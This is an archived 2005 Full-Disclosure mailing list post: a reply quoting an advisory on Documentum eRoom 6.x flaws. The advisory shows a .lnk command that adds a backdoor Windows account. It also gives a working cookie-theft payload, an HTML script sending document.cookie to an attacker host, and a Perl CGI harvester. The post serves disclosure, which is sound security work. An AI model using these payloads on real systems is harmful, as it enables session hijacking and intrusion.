lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20050707084419.jiyh7m62stss004o@www.thelair.com>
Date: Thu Jul  7 16:44:34 2005
From: exibar at thelair.com (exibar@...lair.com)
Subject: RE: eRoom Multiple Security Issues

I don't see how uploading a .LNK file to E-Room would cause the file to be
executed.  Wouldn't a .LNK file be treated as an Internet Link and attempt to
be rendered in Internet Explorer?  Any chance of you posting your exact .lnk
file to the list?  I must be missing something inbetween the jigs and the
reels...

   With the code you supplied for the cookie grabbing, couldn't you use that
same code for any cookie harvesting as long as you know the name of the cookie
you want to grab?   Of course the trick would be to get a link to your HTML
code up on the site you wish to harvest the cookies from.....

  Exibar


----- Original Message -----
From: "c0ntex" <c0ntexb@...il.com>
To: <full-disclosure@...ts.grok.org.uk>
Sent: Wednesday, July 06, 2005 3:12 PM
Subject: [Full-disclosure] eRoom Multiple Security Issues


/*

****************************************************************************
*************************************
  $ An open security advisory #9 - eRoom v6.* Vulnerabilities

****************************************************************************
*************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
  2: Bug Released: July 06 2005
  3: Bug Impact Rate: Medium / Hi
  4: Bug Scope Rate: Remote

****************************************************************************
*************************************
  $ This advisory and/or proof of concept code must not be used for
commercial gain.

****************************************************************************
*************************************

  Documentum eRoom
  http://www.documentum.com

  "Documentum eRoom enables enterprises to become more productive,
efficient, and agile by bringing
   together people, processes, and content. In fact, more than 1000
Global 2000 enterprises use
   Documentum eRoom to optimize key projects and processes."

  eRoom has some vulnerabilities in that it does not deal with
attached files or handle cookies in
  a secure manner. This being the case, it is possible to abuse trust
between users utilising the
  system, execute code on systems of valid users and compromise user
accounts by stealing/replaying
  their session cookies.

  Issues
  ------

  1) Attaching malicious files
  2) Stealing and replaying cookies
     -> I am unable to verify if the replay attack and cookie time out
effects all versions of eRoom
        6.* as I do not have access to a default installation and am
unable to find a demo version
        that I can use, though the chances are it is. I can guarantee
that cookies can be stolen from
        all versions and java script / HTML can be run from within an
attached file.


  1 - Attached files
  ------------------

  eRoom allows a user to attach files into the website to share with
other users, however there is
  no restriction on the type of file that can be attached. This can be
abused to remotly compromise
  the systems of eRooms users.

  If an .exe file is uploaded, when the user clicks on the file the
usual "what do you want to do
  with this file" box pops up and as such, this does not seem a big
problem. However, this check can
  be bypassed by uploading a .lnk file (windows shortcut) to the site,
which contains any command you
  wish, I used the following:

  %SystemRoot%\system32\cmd.exe /k net user hacker hackerpass /ADD

  proving it is possible to have a command run on the remote users
system once the user clicks on the
  file. Notice there is no further user interaction required and no
pop-up box is recieved, the .lnk
  just gets downloaded by the eRoom plugin in the background and gets
run, adding a user account to
  the system.

  There are no warnings given to the user about the file containing a
link to an executable image, and
  as such, it remains an invisible compromise.

  The downloaded file will be left in

  C:\Documents and Settings\user\Application Data\eRoom\eRoom
Client\V6\Attachments\
  {blahblah-blah-blah-blah-1234567890}\0_2bcb\budget_info.lnk


  2 - Stealing and replaying cookies
  ----------------------------------

  Cookies used for authentication in eRoom seem to be set up in a
manner that allows a simple replay
  attack to be performed. The session cookie does not expire, as such,
once it has been compromised
  and harvested, anyone can then replay the cookie and gain access to
the site as the original user.

  Evil user uploads an html file to eRoom, the victim browses the file
cookie.html, which will send
  the users cookie information to a cgi script on a malicious web
server and harvest the detials.
  These cookie details can then be used in a replay attack giving the
attacker the potential to gain
  access to the web site as the user who accessed cookie.html.

  /* cookie.html */
  <html>
  <head>
    <title>Raiding the cookie jar</title>
  </head>
  <body>

  <br>
    <script>document.location='https://10.1.1.2/cgi-bin/cookie.cgi?'
+document.cookie</script>
  <br>

  </body>
  </html>


  /* cookie.cgi */
  #!/usr/bin/perl
  use CGI qw(:standard);
  use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
  use strict;

  my $break = "<br>";
  my $browser = $ENV{'HTTP_USER_AGENT'};
  my $cookie = $ENV{'QUERY_STRING'};
  my $remote = $ENV{'REMOTE_ADDR'};
  my $referer = $ENV{'HTTP_REFERER'};
  my $reqmeth = $ENV{'REQUEST_METHOD'};

  print header;

  print "<html>",
        "<head><title>Cookie Jacker</title></head>",
        "<center><h1>Yummy!</h1>",
        "ASPSESSIONID & SMSESSIONID could be useful for something? ;)",
        "$break$break$break$break",
        "<img src=\"/cookiemonster.jpg\">",
        "</center>",
        "$break$break$break$break\n";

  $cookie =~ s/;%20/$break/g;

  if($browser =~ /MSIE/) {
                print "Come on, is this the 90s or smtng!$break";
        } else {
                print "j00 are l33t$break";
  }

  print "Client connection came from $remote$break",
        "Refered by $referer$break",
        "Using $reqmeth$break$break",
        "$cookie\n";

  print end_html;


  Also, looking in access_log, information similar to the following
will be presented:

  10.1.1.2 - - [21/Jun/2005:16:57:23 +0100] "GET /cgi-bin/a.cgi?<
cookie_information > AS HTTP/1.1" 200 1769


  There are no fixes available for these issues in 6.*, perhaps
version 7 is more secure, all users are advised
  to update to the latest version

Powered by blists - more mailing lists